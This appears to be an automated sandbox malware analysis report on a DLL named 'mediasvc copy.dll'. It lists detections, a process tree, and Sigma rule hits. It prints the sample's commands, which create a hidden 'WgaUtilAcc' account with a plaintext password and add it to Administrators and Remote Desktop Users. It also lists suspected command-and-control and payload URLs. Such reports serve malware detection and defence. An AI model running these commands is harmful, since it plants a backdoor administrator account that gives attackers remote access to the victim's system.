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Analysis Report mediasvc copy.dll

Overview

General Information

Sample Name:	mediasvc copy.dll
Analysis ID:	326485
MD5:	7be1e51fdc4a8174e82df8b2d6825f8e
SHA1:	0e20003e34874d330db3b7ecd7f5824055645e3b
SHA256:	6b6b820f47b2bf72296aa4ef031a80df04fb951ecf3accfed9bb0289373f45bc
Most interesting Screenshot:

Detection

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Adds a new user with administrator rights

Hides user accounts

Modifies security policies related information

Creates a process in suspended mode (likely to inject code)

Creates or modifies windows services

Enables debug privileges

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries disk information (often used to detect virtual machines)

Queries time zone information

Spawns drivers

Stores large binary data to the registry

Tries to load missing DLLs

Classification

Startup

System is w10x64

loaddll64.exe (PID: 7108 cmdline: loaddll64.exe 'C:\Users\user\Desktop\mediasvc copy.dll' MD5: 60CEF63D678C884BE51A4BDBC9FC1ED5)

rundll32.exe (PID: 7136 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,TMethodImplementationIntercept MD5: 73C519F050C20580F8A62C849D49215A)

cmd.exe (PID: 7164 cmdline: cmd /C net.exe user WgaUtilAcc 000000 /del MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 1748 cmdline: net.exe user WgaUtilAcc 000000 /del MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 6224 cmdline: C:\Windows\system32\net1 user WgaUtilAcc 000000 /del MD5: AF569DE92AB6C1B9C681AF1E799F9983)

cmd.exe (PID: 1020 cmdline: cmd /C net.exe user WgaUtilAcc ph9ZVf2Q /add MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 6344 cmdline: net.exe user WgaUtilAcc ph9ZVf2Q /add MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 2588 cmdline: C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q /add MD5: AF569DE92AB6C1B9C681AF1E799F9983)

cmd.exe (PID: 5908 cmdline: cmd /C net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 6048 cmdline: net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 1808 cmdline: C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD MD5: AF569DE92AB6C1B9C681AF1E799F9983)

rundll32.exe (PID: 5892 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,__dbk_fcall_wrapper MD5: 73C519F050C20580F8A62C849D49215A)

cmd.exe (PID: 5588 cmdline: cmd /C net.exe LOCALGROUP 'Remote Desktop Users' user /ADD MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 5576 cmdline: net.exe LOCALGROUP 'Remote Desktop Users' user /ADD MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 6588 cmdline: C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' user /ADD MD5: AF569DE92AB6C1B9C681AF1E799F9983)

cmd.exe (PID: 6720 cmdline: cmd /C net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 6392 cmdline: net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 6388 cmdline: C:\Windows\system32\net1 LOCALGROUP 'Administrators' WgaUtilAcc /ADD MD5: AF569DE92AB6C1B9C681AF1E799F9983)

rundll32.exe (PID: 6368 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,dbkFCallWrapperAddr MD5: 73C519F050C20580F8A62C849D49215A)

cmd.exe (PID: 6216 cmdline: cmd /C net.exe user WgaUtilAcc ph9ZVf2Q MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

net.exe (PID: 5604 cmdline: net.exe user WgaUtilAcc ph9ZVf2Q MD5: 15534275EDAABC58159DD0F8607A71E5)

net1.exe (PID: 5704 cmdline: C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q MD5: AF569DE92AB6C1B9C681AF1E799F9983)

rundll32.exe (PID: 6644 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,euefnaiw MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 6948 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,gusiezo3 MD5: 73C519F050C20580F8A62C849D49215A)

rundll32.exe (PID: 1748 cmdline: rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,hitit MD5: 73C519F050C20580F8A62C849D49215A)

WerFault.exe (PID: 6588 cmdline: C:\Windows\system32\WerFault.exe -u -p 7108 -s 1152 MD5: 2AFFE478D86272288BBEF5A00BBEF6A0)

rdpvideominiport.sys (PID: 4 cmdline: MD5: 0600DF60EF88FD10663EC84709E5E245)

rdpdr.sys (PID: 4 cmdline: MD5: 52A6CC99F5934CFAE88353C47B6193E7)

tsusbhub.sys (PID: 4 cmdline: MD5: 3A84A09CBC42148A0C7D00B3E82517F1)

cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

Sigma detected: Group Modification Logging

Show sources

Source: Event Logs

Author: Alexandr Yampolskyi, SOC Prime: Data: EventID: 4728, Source: Microsoft-Windows-Security-Auditing, data 0: -, data 1: S-1-5-21-3853321935-2125563209-4053062332-1003, data 2: None, data 3: computer, data 4: S-1-5-21-3853321935-2125563209-4053062332-513, data 5: S-1-5-21-3853321935-2125563209-4053062332-1002, data 6: user, data 7: computer, data 8: 0x2005f, data 9: -

Sigma detected: Local User Creation

Show sources

Source: Event Logs

Author: Patrick Bareiss: Data: EventID: 4720, Source: Microsoft-Windows-Security-Auditing, data 0: WgaUtilAcc, data 1: computer, data 10: -, data 11: %%1793, data 12: %%1793, data 13: %%1793, data 14: %%1793, data 15: %%1793, data 16: %%1794, data 17: %%1794, data 18: 513, data 19: -, data 2: S-1-5-21-3853321935-2125563209-4053062332-1003, data 20: 0x0, data 21: 0x15, data 22: %%2080 %%2082 %%2084, data 23: %%1793, data 24: -, data 25: %%1797, data 3: S-1-5-21-3853321935-2125563209-4053062332-1002, data 4: user, data 5: computer, data 6: 0x2005f, data 7: -, data 8: WgaUtilAcc, data 9: %%1793

Sigma detected: Net.exe Execution

Show sources

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net.exe user WgaUtilAcc 000000 /del, CommandLine: net.exe user WgaUtilAcc 000000 /del, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /C net.exe user WgaUtilAcc 000000 /del, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7164, ProcessCommandLine: net.exe user WgaUtilAcc 000000 /del, ProcessId: 1748

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: mediasvc copy.dll

Avira: detected

Multi AV Scanner detection for submitted file

Show sources

Source: mediasvc copy.dll	Virustotal: Detection: 60%	Perma Link
Source: mediasvc copy.dll	Metadefender: Detection: 27%	Perma Link
Source: mediasvc copy.dll	ReversingLabs: Detection: 45%

Source: Joe Sandbox View

JA3 fingerprint: ce5f3254611a8c095a3d821d44539877

Source: unknown

DNS traffic detected: queries for: hitnaiguat.xyz

Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://apps.identrust.com/roots/dstrootcax3.p7c0
Source: loaddll64.exe, 00000000.00000003.708761089.0000025BFDC6A000.00000004.00000001.sdmp	String found in binary or memory: http://bromide.xyz/ssh.zip
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://cert.int-x3.letsencrypt.org/0-
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://cps.letsencrypt.org0
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://cps.root-x1.letsencrypt.org0
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://crl.identrust.com/DSTROOTCAX3CRL.crl0
Source: WerFault.exe, 00000023.00000002.780388618.000001E8D444E000.00000004.00000020.sdmp	String found in binary or memory: http://crl.micro
Source: WerFault.exe, 00000023.00000003.724805687.000001E8D4487000.00000004.00000001.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identru
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://isrg.trustid.ocsp.identrust.com0;
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.int-x3.letsencrypt.org0/
Source: loaddll64.exe, 00000000.00000003.708761089.0000025BFDC6A000.00000004.00000001.sdmp	String found in binary or memory: http://sdsddgu.xyz/khkhkt
Source: loaddll64.exe, 00000000.00000002.784706857.0000025BFD9E3000.00000004.00000020.sdmp	String found in binary or memory: https://hitnaiguat.xyz/
Source: loaddll64.exe, 00000000.00000002.784344742.0000025BFD982000.00000004.00000020.sdmp, loaddll64.exe, 00000000.00000002.784753875.0000025BFD9FC000.00000004.00000020.sdmp	String found in binary or memory: https://hitnaiguat.xyz/ctp/b.php
Source: loaddll64.exe, 00000000.00000003.708751537.0000025BFDC63000.00000004.00000001.sdmp	String found in binary or memory: https://hitnaiguat.xyz/ctp/b.php03
Source: loaddll64.exe, 00000000.00000002.784344742.0000025BFD982000.00000004.00000020.sdmp	String found in binary or memory: https://hitnaiguat.xyz/ctp/b.phpt
Source: loaddll64.exe, 00000000.00000003.708751537.0000025BFDC63000.00000004.00000001.sdmp	String found in binary or memory: https://hitnaiguat.xyzdfdlhldfh03
Source: loaddll64.exe, 00000000.00000002.784618390.0000025BFD9BC000.00000004.00000020.sdmp	String found in binary or memory: https://watnaiguat.xyz/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443

Source: unknown

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7108 -s 1152

Source: mediasvc copy.dll

Static PE information: Resource name: RT_STRING type: COM executable for DOS

Source: unknown

Driver loaded: C:\Windows\System32\drivers\rdpvideominiport.sys

Source: C:\Windows\System32\WerFault.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: phoneinfo.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: ext-ms-win-xblauth-console-l1.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: ext-ms-win-xblauth-console-l1.dll
Source: C:\Windows\System32\WerFault.exe	Section loaded: cryptnet.dll

Source: mediasvc copy.dll

Static PE information: Section: UPX1 ZLIB complexity 0.999005776263

Source: classification engine

Classification label: mal68.evad.winDLL@50/5@1/1

Source: C:\Windows\System32\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7108

Source: C:\Windows\System32\loaddll64.exe

File created: C:\Users\user\AppData\Local\Temp\FPIXLWRM

Jump to behavior

Source: C:\Windows\System32\loaddll64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Windows\System32\loaddll64.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\loaddll64.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\System32\loaddll64.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\loaddll64.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: unknown

Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,TMethodImplementationIntercept

Source: mediasvc copy.dll	Virustotal: Detection: 60%
Source: mediasvc copy.dll	Metadefender: Detection: 27%
Source: mediasvc copy.dll	ReversingLabs: Detection: 45%

Source: unknown	Process created: C:\Windows\System32\loaddll64.exe loaddll64.exe 'C:\Users\user\Desktop\mediasvc copy.dll'
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,TMethodImplementationIntercept
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc 000000 /del
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc 000000 /del
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q /add
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,__dbk_fcall_wrapper
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' user /ADD
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,dbkFCallWrapperAddr
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q
Source: unknown	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q
Source: unknown	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,euefnaiw
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,gusiezo3
Source: unknown	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,hitit
Source: unknown	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 7108 -s 1152
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,TMethodImplementationIntercept
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,__dbk_fcall_wrapper
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,dbkFCallWrapperAddr
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\cmd.exe cmd /C net.exe user WgaUtilAcc ph9ZVf2Q
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,euefnaiw
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\mediasvc copy.dll,gusiezo3
Source: C:\Windows\System32\loaddll64.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q /add
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' WgaUtilAcc /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Remote Desktop Users' user /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 LOCALGROUP 'Administrators' WgaUtilAcc /ADD
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net.exe user WgaUtilAcc ph9ZVf2Q
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user WgaUtilAcc ph9ZVf2Q

Source: C:\Windows\System32\loaddll64.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\InProcServer32

Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\net.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK
Source: C:\Windows\System32\rundll32.exe	Automated click: OK

Source: mediasvc copy.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: UxTheme.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: wbemcomn.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: mskeyprotect.pdb source: WerFault.exe, 00000023.00000003.720930195.000001E8D6C8A000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbXE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: UxTheme.pdb$ source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: gdi32.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: CLBCatQ.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb9 source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: kernel32.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: msvcrt.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: sxs.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: ntdll.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: win32u.pdb source: WerFault.exe, 00000023.00000003.721192200.000001E8D6C79000.00000004.00000040.sdmp
Source:	Binary string: ntdll.pdb0 source: WerFault.exe, 00000023.00000003.715383654.000001E8D618C000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc.pdb6 source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: imm32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: kernelbase.pdb0 source: WerFault.exe, 00000023.00000003.716999614.000001E8D6198000.00000004.00000001.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: mswsock.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: wbemdisp.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: kernelbase.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdbw source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: nsi.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: imm32.pdb_E source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: webio.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdbTE source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000023.00000003.721192200.000001E8D6C79000.00000004.00000040.sdmp
Source:	Binary string: gdi32full.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb/ source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: schannel.pdbi source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000023.00000003.721241994.000001E8D6C70000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb8 source: WerFault.exe, 00000023.00000003.721192200.000001E8D6C79000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000023.00000003.721241994.000001E8D6C70000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000023.00000003.721241994.000001E8D6C70000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: ncrypt.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: kernel32.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: wbemprox.pdbj source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: kernelbase.pdb source: WerFault.exe, 00000023.00000003.716999614.000001E8D6198000.00000004.00000001.sdmp
Source:	Binary string: dhcpcsvc.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: rpcrt4.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: sspicli.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb.DLLB source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: loaddll64.pdb8 source: WerFault.exe, 00000023.00000003.721077963.000001E8D6C72000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb@E source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdb source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: rpcrt4.pdb8 source: WerFault.exe, 00000023.00000003.720965380.000001E8D6C76000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb< source: WerFault.exe, 00000023.00000003.720913542.000001E8D6C7F000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbME source: WerFault.exe, 00000023.00000003.721203229.000001E8D6C7B000.00000004.00000040.sdmp
